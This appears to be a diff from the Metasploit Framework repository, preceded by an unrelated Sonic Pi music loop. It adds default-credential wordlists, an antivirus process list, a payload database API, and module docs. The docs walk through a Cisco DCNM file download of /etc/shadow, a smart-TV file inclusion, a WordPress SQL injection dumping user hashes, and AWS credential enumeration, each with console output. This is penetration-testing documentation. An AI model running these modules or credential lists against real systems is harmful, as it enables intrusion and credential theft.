live_loop :drums do
sample :drum_heavy_kick, amp: 2
sleep 1
sample :drum_snare_hard
sleep 1
end
live_loop :hi_hat do
sample :drum_cymbal_closed, amp: 0.5
sleep 0.5
end
live_loop :bass do
use_synth :pluck
notes = %i[
Eb3 Eb3 Eb3
B2 B2 B2
Fs2 Fs2 Fs2
As2 As2 As2 As2
]
beats = %w[
2.0 1.0 1.0
2.0 1.0 1.0
2.0 1.0 1.0
1.5 1.0 0.5 1.0
].map(&:to_f)
with_fx :reverb do
play_pattern_timed notes, beats
end
end
live_loop :lead do
use_synth :piano
notes = %i[
As4 As4 As4 As4 Gs4 As4 As4
As4 As4 As4 Gs4 As4 As4
Db5 As4 Gs4 Fs4
Eb4 Eb4 F4 Fs4 Eb4
]
beats = %w[
2.00 0.50 0.25 0.25 0.25 0.75 2.00
0.50 0.25 0.25 0.25 0.75 1.50
1.00 1.00 1.00 1.00
0.50 0.50 0.50 0.50 0.50
].map(&:to_f)
with_fx :reverb do
play_pattern_timed notes, beats
end
end
+9
View File
@@ -1,3 +1,12 @@
AlMon.exe
SAVAdminService.exe
SavService.exe
SNTPService.exe
swc_service.exe
swi_fc.exe
swi_filter.exe
swi_service.exe
swi_fc.exe
emet_agent.exe
emet_service.exe
firesvc.exe
+4
View File
@@ -0,0 +1,4 @@
244+0000009999
188+030000
19b+00000F
19b+000010
+1
View File
@@ -4,3 +4,4 @@ root
Administrator
USERID
guest
Admin
+1
View File
@@ -405,6 +405,7 @@ root realtek
root root
root tini
root tslinux
root ubnt
root user
root vizxv
root wyse
+1 -1
View File
@@ -44,7 +44,7 @@ apc
bintec
blue
c
cable-d
cable-docsis
canon_admin
cc
cisco
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+27966 -8456
View File
File diff suppressed because it is too large Load Diff
+29 -1
View File
@@ -11,7 +11,7 @@
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 20161227212223) do
ActiveRecord::Schema.define(version: 20190507120211) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
@@ -22,6 +22,17 @@ ActiveRecord::Schema.define(version: 20161227212223) do
t.datetime "updated_at", null: false
end
create_table "async_callbacks", force: :cascade do |t|
t.string "uuid", null: false
t.integer "timestamp", null: false
t.string "listener_uri"
t.string "target_host"
t.string "target_port"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.uuid "{:null=>false}"
end
create_table "automatic_exploitation_match_results", force: :cascade do |t|
t.integer "match_id"
t.integer "run_id"
@@ -475,6 +486,23 @@ ActiveRecord::Schema.define(version: 20161227212223) do
add_index "notes", ["ntype"], name: "index_notes_on_ntype", using: :btree
add_index "notes", ["vuln_id"], name: "index_notes_on_vuln_id", using: :btree
create_table "payloads", force: :cascade do |t|
t.string "name"
t.string "uuid"
t.integer "uuid_mask"
t.integer "timestamp"
t.string "arch"
t.string "platform"
t.string "urls"
t.string "description"
t.string "raw_payload"
t.string "raw_payload_hash"
t.string "build_status"
t.string "build_opts"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "profiles", force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
+242
View File
@@ -0,0 +1,242 @@
require 'swagger/blocks'
module PayloadApiDoc
include Swagger::Blocks
NAME_DESC = 'A name for the payload.'
UUID_DESC = 'A payload\'s unique identifier.'
UUID_EXAMPLE = '6dde5ce0e94c9f43'
TIMESTAMP_DESC = 'The Unix format timestamp when this payload was created.'
TIMESTAMP_EXAMPLE = '1536777407'
ARCH_DESC = 'The architecture this payload supports.'
ARCH_EXAMPLE = 'x86'
PLATFORM_DESC = 'The platform this payload supports.'
PLATFORM_EXAMPLE = 'windows'
URLS_DESC = 'The unique, encoded urls used to host this payload. Only applicable for http(s) payloads.'
URLS_EXAMPLE = ['/bd5c4OlMn0OeQp9AxdvC_Q2EIcdSRvg7gzLdQwU__Mb1WtjGR8C4UbjohhRIgbmBfFFBsNJ-wZMyFZKK33aorc8qfD0xCsmxSEyHaiyjGn0ykbJOlYFF1j1HXShiKiiwbfh_wPf2uqSWk2tnaLAqwuvxPcRuDPF-kdkmDDC2']
DESCRIPTION_DESC = 'A description of why this payload was created and what it is being used for.'
WORKSPACE_ID_DESC = 'The ID of the workspace this payload belongs to.'
WORKSPACE_ID_EXAMPLE = 1
RAW_PAYLOAD_DESC = 'A URL pointing to where the binary payload can be downloaded from.'
RAW_PAYLOAD_HASH_DESC = 'The unique hash value for the generated payload binary.'
BUILD_OPTS_DESC = 'A hash containing various options used to build this payload.'
# Swagger documentation for payloads model
swagger_schema :Payload do
key :required, [:ntype]
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :name, type: :string, description: NAME_DESC
property :uuid, type: :string, description: UUID_DESC, example: UUID_EXAMPLE
property :timestamp, type: :integer, description: TIMESTAMP_DESC, example: TIMESTAMP_EXAMPLE
property :arch, type: :string, description: ARCH_DESC, example: ARCH_EXAMPLE
property :platform, type: :string, description: PLATFORM_DESC, example: PLATFORM_EXAMPLE
property :urls, description: URLS_DESC, example: URLS_EXAMPLE, type: :array do items type: :string end
property :description, type: :string, description: DESCRIPTION_DESC
property :raw_payload, type: :string, description: RAW_PAYLOAD_DESC
property :raw_payload_hash, type: :string, description: RAW_PAYLOAD_HASH_DESC
property :build_opts, type: :string, description: BUILD_OPTS_DESC
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/payloads' do
# Swagger documentation for /api/v1/payloads GET
operation :get do
key :description, 'Return payloads that are stored in the database.'
key :tags, [ 'payload' ]
parameter :workspace
response 200 do
key :description, 'Returns payload data.'
schema do
property :data do
key :type, :array
items do
key :'$ref', :Payload
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/payloads POST
operation :post do
key :description, 'Create a payload entry.'
key :tags, [ 'payload' ]
parameter do
key :in, :body
key :name, :body
key :description, 'The attributes to assign to the payload.'
key :required, true
schema do
property :name, type: :string, description: NAME_DESC
property :uuid, type: :string, description: UUID_DESC, example: UUID_EXAMPLE
property :timestamp, type: :string, description: TIMESTAMP_DESC, example: TIMESTAMP_EXAMPLE
property :arch, type: :string, description: ARCH_DESC, example: ARCH_EXAMPLE
property :platform, type: :string, description: PLATFORM_DESC, example: PLATFORM_EXAMPLE
property :urls, type: :string, description: URLS_DESC, example: URLS_EXAMPLE
property :description, type: :string, description: DESCRIPTION_DESC
property :raw_payload, type: :string, description: RAW_PAYLOAD_DESC
property :raw_payload_hash, type: :string, description: RAW_PAYLOAD_HASH_DESC
property :build_opts, type: :string, description: BUILD_OPTS_DESC
property :workspace_id, type: :string, description: WORKSPACE_ID_DESC, example: WORKSPACE_ID_EXAMPLE
end
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Payload
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/payloads/ DELETE
operation :delete do
key :description, 'Delete the specified payloads.'
key :tags, [ 'payload' ]
parameter :delete_opts
response 200 do
key :description, 'Returns an array containing the successfully deleted payloads.'
schema do
property :data do
key :type, :array
items do
key :'$ref', :Payload
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
swagger_path '/api/v1/payloads/{id}' do
# Swagger documentation for api/v1/payloads/:id GET
operation :get do
key :description, 'Return specific payload that is stored in the database.'
key :tags, [ 'payload' ]
parameter do
key :name, :id
key :in, :path
key :description, 'ID of payload to retrieve.'
key :required, true
key :type, :integer
key :format, :int32
end
response 200 do
key :description, 'Returns payload data.'
schema do
property :data do
key :'$ref', :Payload
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/payloads/:id PUT
operation :put do
key :description, 'Update the attributes an existing payload.'
key :tags, [ 'payload' ]
parameter :update_id
parameter do
key :in, :body
key :name, :body
key :description, 'The updated attributes to overwrite to the payload.'
key :required, true
schema do
key :'$ref', :Payload
end
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Payload
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end
+1
View File
@@ -72,6 +72,7 @@ module RootApiDoc
tag name: 'msf', description: 'Utility operations around Metasploit Framework.'
tag name: 'nmap', description: 'Nmap operations.'
tag name: 'note', description: 'Note operations.'
tag name: 'payload', description: 'Payload operations.'
tag name: 'service', description: 'Service operations.'
tag name: 'session', description: 'Session operations.'
tag name: 'session_event', description: 'Session Event operations.'
+53
View File
@@ -0,0 +1,53 @@
msfconsole
==========
`msfconsole` is the primary interface to Metasploit Framework. There is quite a
lot that needs go here, please be patient and keep an eye on this space!
Building ranges and lists
-------------------------
Many commands and options that take a list of things can use ranges to avoid
having to manually list each desired thing. All ranges are inclusive.
### Ranges of IDs
Commands that take a list of IDs can use ranges to help. Individual IDs must be
separated by a `,` (no space allowed) and ranges can be expressed with either
`-` or `..`.
### Ranges of IPs
There are several ways to specify ranges of IP addresses that can be mixed
together. The first way is a list of IPs separated by just a ` ` (ASCII space),
with an optional `,`. The next way is two complete IP addresses in the form of
`BEGINNING_ADDRESS-END_ADDRESS` like `127.0.1.44-127.0.2.33`. CIDR
specifications may also be used, however the whole address must be given to
Metasploit like `127.0.0.0/8` and not `127/8`, contrary to the RFC.
Additionally, a netmask can be used in conjunction with a domain name to
dynamically resolve which block to target. All these methods work for both IPv4
and IPv6 addresses. IPv4 addresses can also be specified with special octet
ranges from the [NMAP target
specification](https://nmap.org/book/man-target-specification.html)
### Examples
Terminate the first sessions:
sessions -k 1
Stop some extra running jobs:
jobs -k 2-6,7,8,11..15
Check a set of IP addresses:
check 127.168.0.0/16, 127.0.0-2.1-4,15 127.0.0.255
Target a set of IPv6 hosts:
set RHOSTS fe80::3990:0000/110, ::1-::f0f0
Target a block from a resolved domain name:
set RHOSTS www.example.test/24
+124
View File
@@ -0,0 +1,124 @@
Jobs
====
The `jobs` command is used to interact with modules running in the
background. Using jobs allows you to run multiple modules at once, like
multiple `exploit/multi/hander` runs with different options to listen
for different payloads to call back. Framework automatically starts
modules that wait for something to happen ("passive modules") as jobs,
and `run -j` will start any module as a job. When a module is started
as a job, you will see a message like `[*] Exploit running as
background job X.`. You will then be able to continue interacting with
Metasploit as normal, and output from the module will continue to be
printed to the console, like a background job in other shells.
Usage
-----
### Flags
#### -h
Display the help banner.
#### -i JOB_ID
Show details of the specified `JOB_ID`, including the name and the time
the job was started.
#### -K
Stop all currently running jobs.
#### -k JOB_IDS
Stop the specified list of jobs. See [msfconsole > Building ranges and
lists](../msfconsole.md#building-ranges-and-lists) for more details on
how to build ranges.
#### -l
List all the currently running jobs. This is the default action. Module
name, payload, and some payload configuration is shown when present.
#### -P
Save each of the currently running jobs to be restarted when
`msfconsole` is started. Only valid for jobs running payload handlers.
See [Persistence](#persistence) below.
#### -p JOB_IDS
Save the specified list of jobs to restarted when `msfconsole` is
started. Only valid for jobs running payload handlers. See
[Persistence](#persistence) below and [msfconsole > Building ranges and
lists](../msfconsole.md#building-ranges-and-listss) for how to specify
a list of `JOB_IDS`.
#### -S FILTER
Apply a search filter for the output. Currently ignored.
#### -v
Show verbose information with `-i` and `-l`. When combined with `-i`,
display the advanced options given to the module run. When combined
with `-l` or no other flags, displays an expanded table of jobs, adding
the URI for HTTP payload handlers, start time, handler options (if
present), and whether the job has been persisted with `-p` or `-P`.
Persistence
-----------
The `-P` and `-p JOB_IDS` flags save payload handler jobs to be started
every time `msfconsole` is started. This works by saving the
information needed to start an equivalent `exploit/multi/handler` run
as a JSON blob in the job persistence file, `~/.msf4/persist` by
default.
Examples
--------
Starting a module as a job:
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
A verbose listing of all the jobs:
msf5 exploit(multi/handler) > jobs -v
Jobs
====
Id Name Payload Payload opts URIPATH Start Time Handler opts Persist
-- ---- ------- ------------ ------- ---------- ------------ -------
1 Exploit: multi/handler windows/meterpreter/reverse_tcp tcp://127.0.0.1:4444 2019-02-20 19:02:58 -0600 true
Set some jobs to be started on `msfconsole` start:
msf5 exploit(multi/handler) > jobs -p 1-2
Added persistence to job 1.
Added persistence to job 2.
Getting information about a specific job:
msf5 exploit(multi/handler) > jobs -i 1
Name: Generic Payload Handler, started at 2019-02-20 19:03:19 -0600
msf5 exploit(multi/handler) > jobs -i 1 -v
Name: Generic Payload Handler, started at 2019-02-20 19:03:19 -0600
Module advanced options:
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ExitOnSession true yes Return from the exploit after a session has been created
ListenerTimeout 0 no The maximum number of seconds to wait for new sessions
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 0 no Additional delay when waiting for a session
@@ -2,9 +2,11 @@ This module plays (by default) ["Epic sax guy 10 hours"](https://www.youtube.com
Naturally, audio should be cranked to 11 before running this module.
Only the deprecated DIAL protocol is supported by this module. Casting via the newer CASTV2 protocol is unsupported at this time.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/chromecast_webserver ```
1. Do: ```use auxiliary/admin/chromecast/chromecast_youtube```
2. Do: ```set RHOST [IP]```
3. Do: ```run```
@@ -0,0 +1,42 @@
## Intro
Cisco Data Center Network Manager exposes a servlet to download files on /fm/downloadServlet.
An authenticated user can abuse this servlet to download arbitrary files as root by specifying
the full path of the file (aka CVE-2019-1621).
This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
(see References to understand why), on the other versions it abuses CVE-2019-1619 to bypass authentication.
## Author and discoverer
Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security
## References
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld
https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb
https://seclists.org/fulldisclosure/2019/Jul/7
## Usage
Setup RHOST, pick the file to download (FILENAME, default is /etc/shadow) and enjoy!
```
msf5 exploit(multi/http/cisco_dcnm_upload_2019) > use auxiliary/admin/cisco/cisco_dcnm_download
msf5 auxiliary(admin/cisco/cisco_dcnm_download) > set rhost 10.75.1.40
rhost => 10.75.1.40
msf5 auxiliary(admin/cisco/cisco_dcnm_download) > run
[+] 10.75.1.40:443 - Detected DCNM 10.4(2)
[*] 10.75.1.40:443 - No authentication required, ready to exploit!
[+] 10.75.1.40:443 - Got sysTime value 1567081446000
[+] 10.75.1.40:443 - Successfully authenticated our JSESSIONID cookie
[+] File saved in: /home/john/.msf4/loot/20190829122407_default_10.75.1.40_ciscoDCNM.http_855907.bin
[*] Auxiliary module execution completed
```
@@ -0,0 +1,35 @@
## Summary
This module exploits an unauthenticated remote file inclusion which exists in Supra Smart Cloud TV.
The media control for the device doesn't have any session management or authentication. Leveraging this, an
attacker on the local network can send a crafted request to broadcast a fake video.
**Reference:** https://www.inputzero.io/2019/06/hacking-smart-tv.html
## Verification Steps
1. `use auxiliary/admin/http/supra_smart_cloud_tv_rfi `
2. `set RHOSTS [IP]`
3. `set SRVHOST [IP]`
4. `run`
Doo-doodoodoodoodoo-doo, Epic Sax Guy will be broadcasted to the remote system.
## Sample Output
```
msf5 > use auxiliary/admin/http/supra_smart_cloud_tv_rfi
msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) > set SRVHOST 192.168.1.132
SRVHOST => 192.168.1.132
msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) > set RHOSTS 192.168.1.155
RHOSTS => 192.168.1.155
msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) > run
[*] Running module against 192.168.1.155
[*] Using URL: http://192.168.1.132:8080/
[*] Broadcasting Epic Sax Guy to 192.168.1.155:80
[+] Doo-doodoodoodoodoo-doo
[*] Sleeping for 10s serving .m3u8 and .ts files...
[*] Server stopped.
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) >
```
@@ -0,0 +1,33 @@
## Vulnerable Application
This module works against the Wordpress plugin `wp-google-maps` between 7.11.00 and 7.11.17 (included).
[The vulnerable version is available on WordPress' plugin directory](https://downloads.wordpress.org/plugin/wp-google-maps.7.11.17.zip).
## Verification Steps
1. `msfconsole`
2. `use auxiliary/admin/http/wp_google_maps_sqli`
3. `set RHOSTS <rhost>`
4. Set `DB_PREFIX` if necessary
5. `run`
## Options
### `DB_PREFIX`
Change the table prefix. By default, this option is set to `wp_`.
## Scenarios
### wp-google-maps 7.11.17 on WordPress 4.9.5
```
msf5 auxiliary(admin/http/wp_google_maps_sqli) > exploit
[*] Running module against 172.22.222.144
[*] 172.22.222.144:80 - Trying to retrieve the wp_users table...
[+] Credentials saved in: /home/msfdev/.msf4/loot/20190415065921_default_172.22.222.144_wp_google_maps.j_022930.bin
[+] 172.22.222.144:80 - Found msfdev <hash> <email>
[*] Auxiliary module execution completed
```
@@ -1,10 +1,10 @@
## Description
This (Interesting Data Finder) module will connect to a remote MSSQL server using a given set of credentials and search for rows and columns with interesting names. This information can help you fine-tune further attacks against the database.
This (Interesting Data Finder) module will connect to a remote MSSQL server using a given set of credentials and search for rows and columns with "interesting" names. This information can help you fine-tune further attacks against the database.
## Verification Steps
1. Do: ```use auxiliary/scanner/mssql/mssql_idf```
1. Do: ```use auxiliary/admin/mssql/mssql_idf```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set THREADS [number of threads]```
4. Do: ```run```
@@ -4,7 +4,7 @@ This module allows you to perform SQL queries against a database using known-goo
## Verification Steps
1. Do: ```use auxiliary/scanner/mssql/mssql_sql```
1. Do: ```use auxiliary/admin/mssql/mssql_sql```
2. Do: ```set PASSWORD [password1]```
3. Do: ```set RHOSTS [IP]```
4. Do: ```set [SQL Command]```
@@ -13,11 +13,10 @@ You may buy the device on Amazon at <https://www.amazon.com/dp/B00IPEO02C/>.
## Actions
```
Available actions:
Name Description
---- -----------
Cook Cook stuff
Stop Stop cooking
Name Description
---- -----------
Cook Cook stuff
Stop Stop cooking
```
## Options
@@ -29,6 +29,11 @@
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
## Scenarios
In this scenario, we fill a bunch of different hash types into the creds db. You'll need a
@@ -28,6 +28,11 @@
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
@@ -36,6 +36,11 @@
Include `blowfish` and `SHA`(256/512) passwords.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
@@ -30,6 +30,11 @@
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
@@ -29,6 +29,11 @@
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
@@ -37,6 +37,11 @@
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
@@ -32,6 +32,11 @@
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
@@ -29,6 +29,11 @@
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
@@ -0,0 +1,34 @@
## Vulnerable Application
This module is able to extract a zip file sent through Modbus from a pcap.
Tested with Schneider TM221CE16R
## Verification Steps
1. Do: `use auxiliary/analyze/modbus_zip`
2. Do: `set PCAPFILE <PATH_TO_PCAP>` where PATH_TO_PCAP is the PATH to the pcap file
3. Do: `exploit` extract the zip file
## Options
**MODE**
Default: UPLOAD. Changes offset within a packet that is used to check for a zip header.
## Scenarios
```
msf > use auxiliary/analyze/modbus_zip
msf auxiliary(analyze/modbus_zip) > set PCAPFILE file.pcap
PCAPFILE => file.pcap
auxiliary(analyze/modbus_zip) > set MODE DOWNLOAD
MODE => DOWNLOAD
msf auxiliary(analyze/modbus_zip) > exploit
[*] Running module against 0.0.0.0
[*] Zip start on packet 1370
[*] Zip end on packet 1452
[*] Done!
[*] Auxiliary module execution completed
```
@@ -0,0 +1,117 @@
## Vulnerable Application
Amazon Web Services (AWS) resources can be managed through an API that authenticates based on an `ACCESS_KEY_ID` and a `SECRET_ACCESS_KEY`. With these two pieces of information, an attacker can gain privileges which may include enumerating resources within the AWS account.
This module authenticates to AWS EC2 (Elastic Compute Cloud) to identify compute instances that the credentials can see. The instances themselves may be connected to the public Internet, but are likely to be protected by security groups and subnet network ACLs. In any case, knowledge of the instances is the first step in evaluating their security.
## Verification Steps
### Create or acquire the credentials
1. (If necessary) Create an AWS account. Free trials are available.
2. Login to the [AWS Console](https:\\console.aws.amazon.com\).
3. Use the dropbown menu in the top-right with your username, then click on "My Security Credentials".
4. Expand the "Access Keys" pane and click "Create New Access Key".
5. Follow the steps in the AWS console, making sure to record both the 'access key ID' and 'secret access key'. (The 'secret access key' is only shown once, then can never be retrieved.)
### Enumerate AWS resources using the credentials
1. Start msfconsole
2. `use auxiliary/cloud/aws/enum_ec2`
3. Set the `ACCESS_KEY_ID` and `SECRET_ACCESS_KEY` options.
4. Optionally, set the `REGION` and `LIMIT` options.
5. `run`
## Options
**ACCESS_KEY_ID**
This AWS credential is like a username. It uniquely identifies the user, and is paired with a 'secret access key'. The access key ID is retrievable through the AWS console.
An example `ACCESS_KEY_ID` would be `AKIA5C76TR3KXHXA5CRC`
**SECRET_ACCESS_KEY**
This AWS credential is like a password, and should be treated as such. It is paired with a 'access key ID'. The access key ID cannot be retrieved from AWS after it has been generated, but it may be discoverable through environment variables, configuration files, source code, or backups.
An example `SECRET_ACCESS_KEY` would be `EKfx3wOWWiGk1WgBTAZfF\2dq3SbDsQj4jdyOMOv`.
## Scenarios
### Provided a valid 'access key ID' and 'secret access key' with sufficient privileges
```
msf5 auxiliary(cloud/aws/enum_iam) > run
[+] Found 3 users.
[+] User Name: test1
[+] User ID: AIDA5C76TR3KTTO3PTAJ7
[+] Creation Date: 2019-06-14 18:18:23 UTC
[+] Tags: []
[+] Groups: []
[+] SSH Pub Keys: []
[+] Policies: IAMUserChangePassword
[+] Signing certs: []
[+] Password Used: 2019-06-17 19:55:57 UTC
[+] AWS Access Keys: AKIA5C76TR3K3JN3FYUE (Active)
[+] Console login: Enabled
[+] Two-factor auth: Enabled on 2019-06-17 20:01:05 UTC
[*]
[+] User Name: test2
[+] User ID: AIDA5C76TR3KVHWFEQSDL
[+] Creation Date: 2019-06-14 18:18:35 UTC
[+] Tags: []
[+] Groups: ["mygroup", "mygroup2"]
[+] SSH Pub Keys: []
[+] Policies: IAMUserChangePassword
[+] Signing certs: []
[+] Password Used: (Never)
[+] AWS Access Keys: AKIA5C76TR3KXHXA5CRC (Inactive)
[+] Console login: Enabled
[+] Two-factor auth: Disabled
[*]
[+] User Name: test3
[+] User ID: AIDA5C76TR3KYI2HC4MOL
[+] Creation Date: 2019-06-14 18:18:44 UTC
[+] Tags: []
[+] Groups: ["mygroup"]
[+] SSH Pub Keys: []
[+] Policies: []
[+] Signing certs: []
[+] Password Used: (Never)
[+] AWS Access Keys: AKIA5C76TR3KWWADYZNB (Active)
[+] Console login: Disabled
[+] Two-factor auth: Disabled
[*]
[*] Auxiliary module execution completed
```
### Provided an invalid or inactive 'access key ID'
```
msf5 auxiliary(cloud/aws/enum_iam) > run
[-] Auxiliary aborted due to failure: unexpected-reply: The security token included in the request is invalid.
[*] Auxiliary module execution completed
msf5 auxiliary(cloud/aws/enum_iam) >
```
### Provided an invalid 'secret access key'
```
msf5 auxiliary(cloud/aws/enum_iam) > run
[-] Auxiliary aborted due to failure: unexpected-reply: The request signature we calculated does not match the signature you provided. Check your AWS Secret Access Key and signing method. Consult the service documentation for details.
[*] Auxiliary module execution completed
msf5 auxiliary(cloud/aws/enum_iam) >
```
### Provided an 'access key ID' or 'secret access key' with insufficient privileges
```
msf5 auxiliary(cloud\aws\enum_ec2) > run
[-] Auxiliary aborted due to failure: unexpected-reply: User: arn:aws:iam::899712345657:user/test1 is not authorized to perform: iam:ListUsers on resource: arn:aws:iam::899712345657:user/
[*] Auxiliary module execution completed
msf5 auxiliary(cloud\aws\enum_ec2) >
```
@@ -0,0 +1,102 @@
## Vulnerable Application
Amazon Web Services (AWS) resources can be managed through an API that authenticates based on an `ACCESS_KEY_ID` and a `SECRET_ACCESS_KEY`. With these two pieces of information, an attacker can gain privileges which may include enumerating resources within the AWS account.
This module authenticates to AWS IAM (Identify Access Module) to identify user accounts that the credentials can see. The users themselves are likely protected with different credentials, including passwords or MFA tokens. In any case, knowledge of the users is the first step in evaluating their security.
## Verification Steps
### Create or acquire the credentials
1. (If necessary) Create an AWS account. Free trials are available.
2. Login to the [AWS Console](https:\\console.aws.amazon.com\).
3. Use the dropbown menu in the top-right with your username, then click on "My Security Credentials".
4. Expand the "Access Keys" pane and click "Create New Access Key".
5. Follow the steps in the AWS console, making sure to record both the 'access key ID' and 'secret access key'. (The 'secret access key' is only shown once, then can never be retrieved.)
### Enumerate AWS resources using the credentials
1. Start msfconsole
2. `use auxiliary/cloud/aws/enum_iam`
3. Set the `ACCESS_KEY_ID` and `SECRET_ACCESS_KEY` options.
4. `run`
## Options
**ACCESS_KEY_ID**
This AWS credential is like a username. It uniquely identifies the user, and is paired with a 'secret access key'. The access key ID is retrievable through the AWS console.
An example `ACCESS_KEY_ID` would be `AKIA5C76TR3KXHXA5CRC`
**SECRET_ACCESS_KEY**
This AWS credential is like a password, and should be treated as such. It is paired with a 'access key ID'. The access key ID cannot be retrieved from AWS after it has been generated, but it may be discoverable through environment variables, configuration files, source code, or backups.
An example `SECRET_ACCESS_KEY` would be `EKfx3wOWWiGk1WgBTAZfF\2dq3SbDsQj4jdyOMOv`.
**REGION**
AWS resources are located in regions. Optionally, this module's output can be filtered based on region to minimize the query to AWS. Alternatively, `REGION` can be left blank, such that all regions will be checked.
An example region would be `us-west-2`.
**LIMIT**
Some AWS API calls support limiting output, such that the module will only reutrn the number of instances, without detailing the configuration of each instance. Optionally, this module's output can be filtered to minimize the query to AWS and the user output. Alternatively, `LIMIT` can be left blank, such that all EC2 instances will be detailed.
Note that the `LIMIT` parameter is imposed per region, so the total number of results may be higher than the user-specified limit, but the maximum number of results for a single region will not exceed `LIMIT`. This behavior is due to the AWS API.
An example `LIMIT` would be `10`.
## Scenarios
### Provided a valid 'access key ID' and 'secret access key' with sufficient privileges
```
msf5 auxiliary(cloud/aws/enum_ec2) > run
[*] Found 0 instances in eu-north-1
[*] Found 0 instances in ap-south-1
[*] Found 0 instances in eu-west-3
[*] Found 0 instances in eu-west-2
